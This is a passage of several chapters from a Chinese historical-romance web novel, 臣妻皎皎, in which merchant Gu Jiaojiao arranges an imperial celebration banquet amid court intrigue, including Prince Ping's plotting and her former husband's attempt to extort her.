莺儿手忙脚乱起来:“奴婢这就去将掌柜叫来,与姑娘商讨席面一事。” “还要瞧瞧后厨可还有得空的大厨。”顾皎皎心中已有计策,有条不紊地安排打点,“虽是接下了皇宫的声音,原先定下的寻常席面也是不能落下。” 两人有商有量,只朝着后院走去。 二楼雅间,沈云祉与杜玉荣相顾无言,气氛凝固。 “这总是瞧着本王做什么?莫不是看不上本王的发冠了?”沈云祉终是开口,侧身看着他幽怨的眸子。 见杜玉荣不答,他便要抬手扯下小冠:“本王何时与你小气过,想要便直接开口就是。” “多谢小王爷,我不是瞧上了您的发冠。”杜玉荣垂下眸子,低声回应。 沈云祉停了动作,明知故问:“那你瞧中了什么?” 杜玉荣再度欲言又止,最后只化作一声叹息:“我只是思绪漂远,入了神。按照礼制,您的府邸改由礼部经手,而今皇上见我与您亲近,又嘱咐下来,有些不知该打造成什么模样。” “何必为这些琐事伤神。” 沈云祉不再追问,起身踱步至窗棂,居高临下看着楼下人来人往。 “本王想要什么你心中自是清楚。若是败了,左不过回云南做一个闲散小王,若成了,这何需这京中宅子?” 杜玉荣仍旧兴致缺缺,面中挂着苦色:“小王爷所言极是。但这差事就在此处,又如何能置之不理呢?” “本王最是欣赏你这全力以赴的模样。”沈云祉勾起唇角,轻拍肩头,“如此才放心将许多要事交给你。” “我明白了,多谢小王爷提点。”杜玉荣忽地眼眸一亮,多了一份坚定。 沈云祉只得点了点,牵强地扯了扯嘴角,心中明白他大抵是会错了意。 另一边,平王府。 自下朝后,平王便将自己锁在书房谁都不肯见,隔着门扉尚能听到瓷器碎裂与书卷摔落的吵闹声。 李嬷嬷守在门外急得团团转,既不敢出声安抚,也不敢派人去请王妃。 但纸终究是包不住火,这样大的动静还是传到了平王妃的耳中。 “发生何事了?” 平王妃在冬儿的搀扶下缓缓走来,眼神轻蔑地将连廊处的丫鬟扫了一眼,最后落在紧闭的房门。 李嬷嬷忙跪下行礼,支支吾吾道:“回王妃的话,王爷自从朝中归来,便是动了大气,此刻正在书房内,谁都不肯见。” 平王府并不意外,只抽出丝帕抵在鼻尖,朝冬儿使了颜色。 冬儿颔首,上前叩门:“王爷,王妃来了。” 屋中动静终是听些,随后平王一脸隐忍地拉开房门,一言不发。 平王妃叫众人退下,缓步走进书房,亲自合门。 “王爷这是怎么了?怎地又动了如此大的气?” 虽是这样问着,但语气重却没有半分疑虑。 除了沈云祉又还能有谁。 平王压制怒意,开口便是控诉:“本王真是大意,竟然叫那小子立下大功,受了皇上不少封赏!” “若只是一些财物便就罢了,却不想连日里将他召进宫中。本王道是何事,原来是偷摸着查清了泽熙镇的贪污案。” “此事盘踞七年,今日他依照告破,好不风光!” 平王越发激动,猛地攥住王妃白嫩的双手,面上多了份委屈:“王妃,你可知皇上竟下旨传召云南王进京,这不是对着众臣宣告要将他立为大统?” 平王妃并不急恼,反倒是抽出手将他搂在怀中,如慈母安抚小儿。 她一边抚摸着他的侧颊,一边道:“这又有何值得动怒的地方呢?若是云南王不能进京,若是小云南王成了废人,一切不就迎刃而解了。” 平王叹气,越发哀愁:“本王何尝不想,只是此事谈何容易?如今沈云祉炙手可热,多少双眼睛盯着。” 平王妃嘴角一抹阴毒的笑意,压低声音道:“在最高处掉落是最痛不欲生的,如今小云南王就在绝云之巅。” “王妃的意思是?”平王恍然大悟,坐直身子,“使计将沈云祉跌入泥潭?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十章 不敢懈怠半分 平王妃微微蹙眉,笑意加深,犹如鬼魅。 “王爷这是什么话,他自己担保的酒楼席面出了大事,又与旁人何干呢?” 平王拨开云雾,终是露出笑意,一把将王妃纤细的腰肢拉入怀中,语调低沉。 “王爷所言极是,一切都是他自己不小心罢了。” 说话间,两人越靠越近,平王的大掌在王妃小腹处游走,温热的触感遍布全身。 平王妃魅惑一笑,腾出手挑起他的下巴,哑声道:“王爷,妾身近来可是又新得了一个方子,可是试试药效如何?” “那是自然。”平王迫不及待,将人打横抱起,往书案走去。 屋内寂静片刻,忽地响起旖旎的声音。 李嬷嬷听得老脸一红,却是安心下来。 第一楼。 顾皎皎与掌柜商讨了整个午后,才将最终的席面定下。 好在中秋这样的好日子还有些时日,店内的厨子尚有空闲,能够专门打点全程宴席。 “如此便是妥当了。”顾皎皎看着写满菜色、数目以及席面地点的折子很是满意。 “你们先在第一楼准备,我将这折子送去与杜大人瞧瞧。”她收起折子,面上是抹不去的自信,“想来不会大改。” 虽是第一次接下这样的差事,但她却对自己的能力自信满满。 只要抓住这次机会,便有可能叫皇上留下记忆,成为皇商便又近了一步。 刚是坐上马车,莺儿便小声提议:“姑娘,这番庆功宴是为小王爷置办的,这安排明细可要先叫小王爷瞧瞧?” 顾皎皎思考一瞬:“说来也是,只是我已派人去杜府了,便先杜大人瞧瞧。” “他们两人关系亲近,兴许喜好相似。再者,有了杜大人提点,再将这明细完善一番,能叫小王爷满意的机会倒会大上几分。” 两人赶到杜府时,杜玉荣的随从已侯在门外。 “您便是顾姑娘了吧?”少年迎上前,态度恭敬。 顾皎皎面露惶恐,倒是局促起来:“正是,您是杜大人的侍从?” 因着商贾身份,她不曾受过这番礼遇,不由得手足无措。 少年谦和不减,抬手指着府内长廊:“顾姑娘这边请,早知姑娘来此,大人已等在书房了。” 顾皎皎轻咽一口,笑容尴尬,跟在他的身后小心不已。 书香门第自是不同,一路上遇见的丫鬟小厮也都温文尔雅,看着十分温和。 每每路过一扇厢房便能问道沁人心脾的果香,又夹杂着安仁心神的清香,叫人不自觉放松下来,跟着柔和许多。 三人走过两进圆月拱门才进了一处标着明雅轩的院子。 “姑娘这边请,这便是大人平日的院子。” 少年将人带到西边的厢房,轻轻叩门后便推开:“姑娘请进,大人就在里头。” 顾皎皎点头示意,跨过门槛。 莺儿见状跟随,却被拦在门外:“这位小姑娘,两位大人商讨要事,便不必跟着了吧?” 莺儿哑口无言,不过晚了片刻,少年就眼疾手快地将门合上。 她瞪他一眼,无可奈何地站在门外候着。 顾皎皎听见合门声,才发觉莺儿并未跟上,可杜玉荣已出现在眼前,并无机会计较。 “杜大人。”她福身行礼,将腰间折子递了过去,“这便是第一楼制作的详尽案牍。京城人数众多,若是挤在一日怕是扰了秩序。是以,城中百姓分三日赴宴,也便是每日秩序管束。” “然思虑着此次庆的是贪污案告破,猜测以清淡为主,以药膳为佳,再配上些可口纤细的肉食,既有寓意也不会出错。” “再者便是宴席的地点,我派人在京城探查一番,若是要容纳三分之一的百姓仍是城口的位置最为合适。” 杜玉荣一边看着折子上娟秀的字迹,一边听她娓娓道来。 “顾姑娘思虑周全,我竟挑不出半分不好的地方。” “来时的路上我还提心吊胆,生怕将这差事办砸了,如今听大人这般言语,心中的石头倒是放下了。” 顾皎皎很是欢喜,方才得紧张消失殆尽。 万事开头难,她的肩头又担着两位大人的举荐,不敢懈怠半分。 如今要做的不仅是第一楼的门面,亦是沈云祉与杜玉荣的脸面。 杜玉荣起身,绕过桌案亲手将折子递还:“顾姑娘精明能干,独当一面,这样的小事自然不在话下。” 顾皎皎越发不好意思,却听得心中欢喜:“杜大人太过客气了。第一楼是您与小王爷亲口举荐的,即便是为了你们,我也不能叫人跳出半分错了。” 杜玉荣目光炙热,脑中回旋着她方才的话语。 顾皎皎并未察觉他的在意,满门心思想着不日的庆功宴饮。 见他沉默,便又自顾自安排:“既然杜大人觉得这样安排足够妥当,我便再将折子送去请小王爷过目,再是没有不妥的地方,我便着手去做。” 这话讲杜玉荣从思绪中拉回:“你还要去见小王爷?” 顾皎皎自然点头,对他反应疑惑:“此事不是得由小王爷满意,自然要请由他过目。” “确实如此。”杜玉荣干笑一声,“既然如此,你我尚能同行一段,我亦有小事要见小王爷。” 顾皎皎只觉得巧合,丝毫看不清男子眼中的轻易,只侧身让他先请:“如此甚好,不若现在就启程吧?” 见她如此热血,杜玉荣无奈轻笑:“请。” 往驿站去的马车上,顾皎皎仍是捧着折子查看,口中念念有词。 杜玉荣本不愿打扰,却又按捺不住,见她停歇便趁机询问:“你很是紧张去见小王爷吗?” 顾皎皎轻叹一声,坦言道:“小王爷如今炙手可热,兴许身份还能再进一阶,我都不曾想过有生之年还能见到这般人物,如何能不紧张呢?” “说来也谈不上紧张,更多的该是敬畏之心。贪污案在京中传言颇多,无不说着案件错综复杂。” “小王爷行事平易近人,却又如此厉雷风行,叫人敬佩。” 杜玉荣看着她清澈的眸子,只听出她语气中的敬畏与欣赏,不由得轻笑一声。 “小王爷确实如此。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十一章 明哲保身 顾皎皎与杜玉荣二人由双瑞引着踏进这间书房。 阳光透过窗子,洒在那人面前的案几上,淡淡的阴影使他侧脸的轮廓更显清晰。 沈云祉倒是难得的出现大案几旁。 他微着头,额发间的长发微垂,使人看不清他的神情,倒是埋头不语的样子让人觉得专注。 “见过王爷。”杜玉荣率先开口。 顾皎皎这才回过神,微微欠身,“给小云南王请安。” 她一直都是礼貌周到,让人挑不出错,却生疏异常。 沈云祉并未抬头,只拿起一份折子递了过来。 “玉荣,你看看这个。” 从他的声音里中不出任何情绪,似平常一般,只是似是听不到顾皎皎说话般。 顾皎皎看着杜玉荣上前接下折子,顿时觉得后背发凉。 “王爷与杜大人既有公务要处理,我不便打扰,便先告辞了。” 她可不想掺合进任何与公家事有关的事务里,不听不看不打听,便是明哲保身了。 顾皎皎后退一步,正欲转身之时,沈云祉的声音从她身后悠悠传来。 “顾姑娘难不成是陪玉荣前来本王这里的?” 他的声音里透着一丝玩味。 顾皎皎不由得停下脚步,就连拿着折子的杜玉荣,手都不禁顿了顿。 顾皎皎转身,正撞上沈云祉漆黑的眸子。 他不动声色,眉眼间似是带着笑意,却让人觉得周身散发着淡淡的寒意。 许是那目光太过凌厉,顾皎皎一时无言。 “小王爷又何必打趣顾姑娘?你明知道,她与臣一同前来,自是因为设之事。” 杜玉荣适时开口。 沈云祉挑了挑眉,嘴角微扬,眸子里瞬间袭满笑意。 “本王开个玩笑,顾姑娘不必放在心上,只是一份处理结果的折子,不算公务。” 如杜玉荣所说,顾皎皎二人一同前往,他自是猜得出来意,可即便如此,他心底的郁结之情也无法抑制。 只是,沈云祉何尝不知,太过苛责,只会让顾皎皎更为谨慎,远离。 “小王爷说的是,大理寺此次行事雷历风行,这么短的时间便已结案,倒是未辜负小王爷的一番苦心。” 杜玉荣自是注意到了顾皎皎的神色有异,假借客套之语,说了折子上的内容。 顾皎皎确实松了一口气,已经是召告天下的事,她自然不必回避。 “知本王者,玉荣也。” 沈云祉起身,将案上的一堆折子随意的话着,缓步走到顾皎皎身前。 他眸子深邃,眉眼间若有若无的笑意那般明显。 “顾姑娘亲自前来,想必宴席的事已然处理妥当。” “小王爷说的极是。” 顾皎皎立即开口,将与杜玉荣说过的话又重复了一遍,同时附上了清单。 事无俱细,思虑周全,走一步看三步,这便是顾皎皎的行事风格。 沈云祉低头瞟了一眼手中的清单,面上不自觉的袭上一抹欣赏之色,这些都被杜玉荣看在眼里,眼底也不禁闪过一抹异样的神色。 “你准备将宴席设大城门口?” 沈云祉突然开口。 顾皎皎怔了一下,迎上他的目光。 “正是,我探查了城中一些地方,左右衡量也便只有城门口,既宽敞又可让百姓及时得到消息,不枉费皇上与民同乐之心。” 她是这样想的。 沈云祉微微点头。 城门处确实是个不错的选择,但进出城门人多事杂,中间若是出什么纰漏,怕也不好应对。 沈云祉这般想着,却并未说出口,而是将手中的清单还给顾皎皎。 “顾姑娘玲珑剔透,既想好了,便去做吧。” 此话一出,顾皎皎顿时松了一口气,她微微欠身。 “多谢小王爷,也多谢杜大人,既如此,那民女便回去准备了,先行告退。” 此地布满书香气,却因为是沈云祉的地界,让顾皎皎不愿久留。 沈云祉也并未阻拦,微微点头,看着这个倩丽的身影退了出去。 杜玉荣此时上前,“小王爷,我……” “玉荣,想来你接下来也无事,陪本王再研究一下那棋局。” 沈云祉出言打断。 杜玉荣本想随顾皎皎一起离开,也多些与她相处的机会,可沈云祉云淡风轻的一句话,他也便放弃了这个念头。 “恭敬不如从命。” 杜玉荣只得留下。 另一边。 顾皎皎离开驿站,等在外面的莺儿立即迎了上来。 “姑娘,如何?” “一切顺利。” 顾皎皎明明说着一个好消息,但是面色却有些凝重。 莺儿扶着她上了马车,歪着头盯着她看了许久。 “可是小云南王挑剔了什么?姑娘神色不好。” 顾皎皎抬头冲莺儿微微扬了扬嘴角。 “没有,只是……” 后面的话她并未说下去,因为她也不确定是不是自己的错觉,沈云祉是说一切都好,只是他的神色让人心里不安。 “只是什么?” 莺儿没有等到下文,立即追问。 “没什么,许是我多想了,吩咐下去,此次设宴,必定要事事周全,将我们大部分人手派出去,不可出现什么纰漏。” 顾皎皎再一次强调着。 莺儿掩面偷笑。 “姑娘安心便是,我们第一楼什么样的宴席没有办过?如今又有皇家为倚仗,自然……” “住口。” 顾皎皎脸色一白,立即伸手捂住了莺儿的嘴巴,见她不明所以的瞪大眼睛,才再次闷声开口。 “什么以皇家为倚仗,这话若是被人听了去,人头不保。” 她只是一介商人,以赚钱为目的,这次都办皇室的宴席也是多亏了沈云祉与杜玉荣,虽说听着是好听,可又何尝不是伴君如伴虎。 莺儿眨巴着大眼睛,虽不明所以,但还是如捣蒜般的点头,她家姑娘说的,自然是对的。 入夜。 驿站。 双剑奉命站在沈云祉面前,等待着命令。 “此次宴席事关重大,你派些人手暗中盯着,再抽调一些高手,这宴席的三日阳随本王去守着。” 沈云祉面色凝重,所说出来的话也没有半分玩笑之意。 这也正是双剑不能理解之处。 “小王爷的意思是要亲自前往?” 双剑觉得是自己听错了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十二章 当真是让人失望 沈云祉到底是一位王爷,身份尊贵,此番又受如此大的赏赐,所受到的关注自然是非比寻常。 而在此种情况下,他却决定前往宫外的宴席,双剑无法理解。 “此番事情我们占了上风,可平王又岂是坐以待毙之人?” 沈云祉并未深说,只是抬眼瞟了一眼双剑。 双剑立即明白了他的意思,双手抱拳。 “是,属下这就去安排。” 双剑出门后,将房门带上。 沈云祉眸子沉了沉。 窗外月光皎洁,映在地面上如下霜一般,明亮却也显得清冷。 顾皎皎坐在窗前,夜里的风拂过她乌黑的长发,轻轻拨动。 今日小云南王的神情,终究让她心里不安,只是思来想去,这宴席也再找不出不妥之处。 “姑娘,夜深了,该歇息了。” 莺儿进来,端着一盆热水,供顾皎皎梳洗。 顾皎皎侧目,淡淡笑了笑。 “姑娘自回来后,便有些心神不定,可是还有什么地方不妥?” 莺儿很是担忧。 这几日忙着处理宫外宴席之事,顾皎皎倒是不用每日看账薄到深夜,莺儿本以为正是该好好休息的时候,却不想顾皎皎似是更烦闷了。 “正是因为想不出什么不妥,才越发不安。” 顾皎皎起身,也顺手将窗子合上。 莺儿一边侍候着顾皎皎梳洗,“姑娘这是杞人忧天了,奴婢倒是觉得车到山前自有路,姑娘太过忧心,反倒是坏了心情。” 莺儿向来心直口快,所说的必定是她心中所想。 顾皎皎蔫然一笑,抬起带着水珠的手轻点了下莺儿的额头。 “还是你聪慧。” 正如莺儿所说,想的过多也未必是好事。 莺儿忙抬手擦去额间的水珠。 “姑娘又这般没有正形。” 主仆二人笑着闹着,夜也越发深了。 月光皎皎,看似平和,但身处这京城之地,免不了暗潮涌动。 平王府。 在平王府的后院有一处密室,常年上锁,府中之人哪怕是常年在王府里做事的奴才,也鲜少有人进去过。 而今夜,那锁打开,李嬷嬷站在门外守着。 内室里,平王双手背在身后,看着眼前所站的两排黑衣人,面色阴冷。 “你们都是中了本王许久的人,自然也知道,本王启用你们必是了不得的大事,事无完全,若是败了……” 平王凌厉的目光扫过众人,后面的话并未说出来。 “王爷放心,属下等所行之事皆是自己的主意,与王爷无关。” 在一领头人说出这句话后,其他人也立即异口同声的开口,“与王爷无关。” 对于这个答案,平王很是满意。 他微微点头,抬手挥了挥,这一行人便如得到什么命令一般走出了密室,随即分了几路,消失在夜色里。 李嬷嬷从外面走进来,将一份名单递给了平王。 “王爷,这些便是那些死士的名单,他们的家人乃至一些至亲都记录在名单之上。” 人们常说用人不疑,可平王却从不完全信任任何人。 那些黑衣人都是他一手调教出来的死士,对他自是忠心耿耿,也为他做了很多大事不曾出过纰漏。 可这次与以往一样,他还是命李嬷嬷将这些人的底细握在手里。 “好,吩咐下去,这些时日若没有其他事,府里的人都要少走动,若是有人违背,可直接了结。” 平结微昂着头,目光如刀子一般。 近些时日,他屡受挫折,无论是朝堂之上,还是这城中生活,都被沈去祉处处针对,他心中的恨意已然达到了顶点。 这口恶气若是不出,他无法安眠,何况,还涉及到皇位之事。 “王爷放心,奴婢会打点好的。” 李嬷嬷应下。 平王未再说什么,抬脚走出了密室。 那道门上,再次上了锁,似是从未被打开的模样。 第一楼接下皇室宴席之事,很快传遍了大街小巷。 于百姓而言,这也没什么大不了的,毕竟,第一楼在京城之中的名声,地位,口碑皆是数一数二的,接下这样的宴席也在情理之中。 再一人,第一楼的老板与小云南王交情匪浅,有这样的靠山,自是会更上一层楼,自也不会有人说什么。 何况,皇室的宴席能参与一二,已然是万幸,是普天同庆的好事,百姓们只会开心。 但,有人欢喜,有人忧。 安阳候府。 “你说什么?顾皎皎那个贱人接下皇室宴席之事?” 孙协兆拍案而起,手掌处顿时一片红肿,他却顾不得那股疼痛。 章氏端坐在椅子上,迎向孙三的目光,脸上却满是不屑。 “这有什么可骗人的?我今日听娘家人说了,也怕有什么出入,还派人去外面打听了,如今这天下,还有谁不知此事?” 章氏自也是恨的,只是看着眼前孙协兆这无可奈何的样子,她便从心底里瞧不起。 孙协兆的双手不禁在身侧紧握,额间的青筋便也显露。 “协兆,莫要乱了阵脚,她顾皎皎不过是出身商户,若要办如此隆重的宴席,怕她没有这个本事。” 孙老夫人在一旁出言,算是安慰。 只是,此情此景,这等言语很难让宽心。 “母亲,您怎还坐得住?没听大嫂说吗,那顾皎皎都攀上了皇室,日后哪里还会有我们好日子过,您得想些办法啊。” “三弟好歹也是跟随小云南王的,如今落到这般田地,连一个商户之女都无法驾驭,当真是让人失望。” 刘氏似是爆豆子般,将所有的不满对着孙老夫人以及孙协兆便发泄出来,言语中的责怪与鄙夷自是不言而喻。 孙协兆面子上有些挂不住,愤愤的坐下,未发一言,倒是孙老夫人,见不得一介妇人如此说自己的儿子。 “混账,你算什么东西,敢如此说话?小云南王不过是一个王爷,而协兆马上就是平王的女婿,孰轻孰重岂是你这种眼皮子浅的人看的透的?” 孙老夫人说话向来是不顾别人的感受的。 刘氏张嘴,本欲反驳,却被一旁的章氏偷偷拉了拉衣角。 “母亲说的正是,她顾皎皎再厉害,也是上不得台面的,怎可与三弟相提并论。” 章氏淡然一笑,恭维的话脱口而出。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十三章 随你怎样 孙老夫人根本不将章氏和刘氏放在眼里,此时更是听不得她们说话,三言两语便将她们赶了出去。 “协兆,我倒觉得这是一个机会。” 在将所有人打发出去后,孙老夫人压低声音,眼中袭上一抹狡黠的光芒。 孙协兆自是听到了孙老夫人这没头没尾的话,却根本不放在心上。 安阳王府一直在与顾皎皎为敌,到了如今,这贱人愈发得意,哪里还来得机会?再想到他之前跟顾皎皎所说的话,心中更是烦闷。 “母亲莫要再胡说,还嫌儿子的不够烦吗?” “你是傻,她顾皎皎接下皇室的宴席,自是怕出什么意外,再有不好的传言传出,那她如何还办得下去?” 孙老夫人立即说道。 孙协兆怔了一下,眉宇间的忧虑瞬间烟消云散。 “母亲的意思是……” “那贱人是否得意不重要,你终归会是平王的女婿,如此身份岂是她顾皎皎可以比拟的,如今最重要的是银两。” 孙老夫人顿了顿,微微欠身靠近孙协兆,继续道,“她越是得意,我们的胜算越大。” 如今,安阳候府与平王府的亲事已经定下,是任谁也更改不的,这也意味着孙协兆的地位也是不可动摇的,那余下的…… 孙协兆顿时明白了孙老夫人的意思。 “母亲说的极是,待儿子好好筹划一下。” 他双眼放光,眼中的贪婪显而易见。 与此同时,沈云祉也收到了双瑞带回来的消息。 “今日天气不错,随本王出去转转。” 沈云祉起身,将手中的折扇收起,面上挂着淡淡的笑意。 他们主仆二人未乘马车,在这街道上闲散的走着,不远处一道熟悉的身影便映入眼帘。 “竟这般巧,平王别来无恙。” 沈云祉上前几步,眼中透着伪装出来的惊喜。 平王自是没想到会在这街道上遇到沈云祉,眼上的不悦一闪而过,却也还是缓缓开口。 “本王是忙里偷闲,哪像小云南王这般悠闲。” 这语气里的怨气自是明显。 沈云祉大笑两声,打量了平王一番。 “难得如此巧,前方便是第一楼,本王做东,平王是否愿意赏个脸?” 平王眉头微皱,但很快疏散开来。 “小云南王如此热情,本王自是不会拂了你的面子。” “平王,请。” “请。” 二人维持着面上的客套,内心如何,彼此都清清楚楚。 “平王一向不爱热闹,今日怎么还来到这闹市了,连随从也没带几个。” 在前往第一楼的路上,沈云祉似是闲聊的一般开口。 平王冷哼一声。 “自是因为小云南王请的那道圣旨,王府里内眷闹的鸡犬不宁,本王也只得出来散散心。” 平王将平王妃推了出来,自然只是借口。 他今日出门,就是亲自要打探一下第一楼的情况,以便日后行事,却不想会遇到沈云祉这个煞星。 “嗯?都怪小王,竟忘了这茬,还望平王切勿怪罪。” 沈云祉皮笑肉不笑,这所谓的请罪也只是随口一说罢了。 双瑞带回消息,说是平王出府前往第一楼附近,沈云祉便知平王的目的,这人既要打探,他不妨助他一臂之力。 不远的路程里,二人虚伪应付,外人看上去却极为平和。 眼见着到了第一楼,二人一同跨进楼内。 “这里的鸽子汤乃是一绝,平王一定要尝尝。” 沈云祉笑着,由小二引领着上了二楼的雅间,只是,在经过一个房间时,二人都都不自觉的停下脚步,听着里面传出的声音。 “顾皎皎,我是不是给你脸了?我刚刚说的话,你是听不到吗?” “你今日若是不按我说的做,你承接的那宴席也不必办了,我倒要看看,若是你这不检点的风声传到宫里,会是什么样的下场。” “我们好歹夫妻一场,如今我给你留足了颜面,也算全了从前的夫妻之情。” 是孙协兆的声音。 这些狂妄之言从雅间里传出,沈云祉侧目,意味深长的看了平王一眼。 这个孙协兆再一次让平王面上无光,又是在沈云祉面前,他的脸青一阵白一阵,转身欲走之时,却被沈云祉拦住了去路。 “王爷忙什么?到底是你未来的女婿,不妨听一听。” 沈云祉一副看热闹不嫌事大的模样,使平王也不好再走一步。 此时,顾皎皎清脆的声音也传了出来。 “孙三公子,我说过了,随你怎样,只是今日这顿餐食要一百四十两,烦劳结账。” 沈云祉看不到顾皎皎的神色,但这不卑不亢的语气,却是让他很是满意。 只是,顾皎皎这话却是惹怒了孙协兆。 他愤然起身,瞪着眼前这个商户之女,纵使在她脸上看不出任何情绪,他也一副不达目的誓不罢休的模样。 “顾皎皎,你别给脸不要脸,你是不是忘记了我是什么身份?下月十五,我便是平王府的乘龙怪婿,碾死你如同碾死一只蚂蚁。” “求死。” 顾皎皎站的笔直,毫不犹豫的丢出这两个字。 屋内的孙协兆气的双眼通红,外面的沈云祉却不禁笑出声,倒是平王,咬着牙,脸色难看的紧。 正在此时,莺儿端着一盘菜上楼,看到小云南王与平王站在那间雅间外,自是吓得不轻,但她还未做出反应,便被沈云祉抬手示意招了过去。 “发生什么事了?” 沈云祉认得莺儿,自是知道她是顾皎皎的贴身侍女,询问时的语气都缓和了几分。 莺儿只是性格冲动,却也是个伶俐了,她的面前站着两位王爷,说话自然是会谨慎一些,好在她知道小云南王是护着她家的姑娘的。 “这个孙公子来了许久了,一进门便要吃要喝的点了许多。” 莺儿滔滔不绝的说了下去。 孙协兆来到第一楼便自称用膳,顾皎皎懒得理会他,根本未出面,谁知此人用过膳后却不肯结银两,小二也只得通知了顾皎皎。 “他以城外的宴席相要挟,还让我们姑娘给他十数万两才肯作罢,已经闹腾了有一阵了。” 莺儿说的详细,平王却听的难堪。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十四章 值得花些心思 顾皎皎看着眼前孙协兆这副无耻的嘴脸,倒是也习以为常了。 自她嫁入孙家,便知这一家老小的行事风格,那时想着这些人只是贪些钱财罢了,恰巧她最不缺的就是银钱,也便不太放在心上,如今倒好,这些人愈发得寸进尺了。 “孙三公子,你的话若是说完了,便结账走人吧,我这雅间是有贵客预订了的,若是耽搁了,就不是百十两银子的事了。” 顾皎皎的耐心已然耗尽,声音也冷了几分。 孙协兆却是个无耻之徒,他站起身,面对着顾皎皎,眉眼间满是鄙夷。 “我是知道你离开安阳王府心有不甘,如今我与郡主即将成亲,她心里不悦,我也不是无情之人。” 他顿了顿,一抹高傲袭上眉梢,才又继续开口。 “想来母亲也跟你说过,以你商户之身份,再入安阳候府也不大可能,我可让你做个外室,自也是不会亏待你的。” 亏待? 听到这两个字,顾皎皎便一阵反胃。 这安阳候府的人大抵是好日子过的太久了,便无时无刻往自己脸上贴金。 顾皎皎不想再跟此人多费口舌,准备出言叫人将他赶走,可就在此时,雅间的房门便被推开。 “孙公子此言当真?” 随着两个人影进来,一道慵懒玩味的声音也随之响起。 顾皎皎怔住。 她在这雅间的时间不短,竟不知沈云祉是何时出现的,而看到他脸上那若有若无的笑意,她便知此二人在门外已听了许久。 “见过平王,见过小云南王。” 孙协兆请安见礼,声音都在颤抖。 他不知自己刚刚的话,被这二人听到了多少,脑海只想着要怎么圆回来才好。 “早就听闻平王府的郡主知书达理,秀外慧中,今日一见果真如此,这还没成婚,就帮着夫君寻室妾了,平王好家教啊。” 沈云祉笑着开口,目光落到顾皎皎身上,停顿片刻后,才看向平王。 “只是不知,若真是纳妾室,平王是否知情啊?” 他的眸子里满是挑衅。 若说刚刚门外听到的那些,是让平王尴尬,那现在便是生气了。 平王瞪向孙协兆,如刀子一般的目光投过来,一副恨不得将眼前人撒碎的模样。 “平王误会了,我并非此意,是此女子心术不正,我……我今日来只是讨回她欠我的银钱,至于妾室……她身份低贱,连安阳府的妾室也是不配的。” 孙协兆胡言乱语的解释,为了摘清自己,恨不得将顾皎皎踩在尘埃里。 只是顾皎皎面对这样的指责,未发一言,微低着头站在那里,似是与她无关一般。 面对孙协兆的解释,面前的人自是不信的,只是平王深知,此子的所有行为都会涉及到平王府,今日之事,他必得插手了。 “孙协兆,你既是来用膳,便莫要牵扯陈年旧事,顾掌柜如今处理宴席之事,身份自然不同,你为君子,自该知什么是好聚好散。” 平王这不痛不痒的话说出来,自然是为了平息此事,随后他便看向顾皎皎。 “顾掌柜莫见怪,协兆多喝了几杯酒胡言乱语,顾姑娘大人大量,不必跟他一般见识。” 看着平王这趾高气扬的样子,顾皎皎便知他在维护孙协兆。 她如今的生意大多在京城,平王就算近来没占上风,也到底是个正经王爷,顾皎皎不敢得罪。 “平王言重了,不过是拌几句嘴,算不得什么大事,惊动了平王和小云南王,是我的不是,不如我备一桌酒菜,向二位王爷赔罪。” 顾皎皎面色平和,答的得体,倒是沈云祉微微皱眉。 他怎会不知顾皎皎的想法,只是他今日在场,她又何必怕什么平王? “不必了,本王还有要事。” 平王冷眼看向孙协兆,递了一个眼神,示意他结账走人。 可孙协兆一顿饭便花了百十两银子,他身上哪有这些银钱,只得装傻,似是不明白平王的意思一般。 而这些,都被顾皎皎和沈云祉看在眼里。 “平王既忙,那我也不好留,但想要表达对平王的敬意,不如就将孙三公子的饭钱免了吧,银钱不多,只是聊表心意,还望平王不嫌弃。” 顾皎皎只是想快点将人打发了,也根本不在意那点银两。 平王眉头微皱,紧抿双唇,一副恨不得将孙协兆吃了的模样,但转头便撞上沈云祉的目光。 若是平时,平王也不愿跟一介女子多费口舌,可既然是小云南王顾着的人,他自不会轻易放过。 “顾掌柜真是聪慧,颇通人情事故,难怪就连不近女色的小云南王也屡次护你周全。” 平王刻意将审视的目光在二人之间徘徊,好不得意。 “王爷误会了,民女与……” “爱美之心人皆有之,先不论顾姑娘是做生意的一把好手,只这倾城之貌,也值得本王花些心思的。” 顾皎皎的话还未说完,就被沈云祉打断了。 沈云祉打开折扇,微微扇了扇才刻意向平王身边凑了凑。 “平王觉得,本王说的可有理?” 他眉宇间的挑衅那样明显,就连笑里都透着得意。 平王冷哼一声,不屑的瞟了顾皎皎一眼,才不屑的开口。 “容貌倾城也不过是以色侍人,商户出身,又是被休弃之人,终究是难登大雅之堂,小王爷也要小心,莫要被连累了名声。” “平王多虑了,本王这名声本也不好,不怕连累,倒是你这位未来的女婿,三番几次在外拿着你的大名行事,这满京城十分热闹。” 沈云祉丝毫没有退让,而这些顾皎皎都看在眼里,听入耳中。 她对这平王一再退让,却不想还是听到了这些,心里有一股怒气涌上心头。 平王不想再跟沈云祉多说,带着孙协兆便向门口处走去,可就在这时,顾皎皎上前两步,站到了二人身侧。 “什么意思?” 平王微怒。 “顾皎皎,你疯了吗?这可是平王。” 孙协兆也狗仗人势的跳出来,指着顾皎皎便大吼出声。 顾皎皎却面带微笑,从容平和。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十五章 不想有牵扯 “王爷勿怪,前几日三公子说过,下月十五是安阳候府与平王府的好日子,预备在第一楼订下宴席。” 顾皎皎缓声开口,态度温和,让人摸不着头脑。 “只是,如今安阳候府银钱短缺,民女想着,既是平王府的大日子,怕辱没了郡主,民女便从自己的私中出钱,为两家备下这喜宴,不知平王可有什么要求?” 她双眸明亮,一片真诚,只是在这话音落下时,一旁的沈云祉差点笑出声。 “顾皎皎,你胡说八道什么?” 孙协兆这才反应过来顾皎皎的意图,厉吼出声,却在准备上前几步时,被沈云祉冰冷的目光吓退。 顾皎皎不以为意,依旧是一副讨好似的看着平王。 “王爷身份贵重,日后第一楼也会倚仗王爷,您放心您的任何要求,民女定当让您满意。” 她一向不喜卷入这些高门贵眷之间的争斗,像今日这般,还是第一次。 平王的脸上自是有些挂不住的。 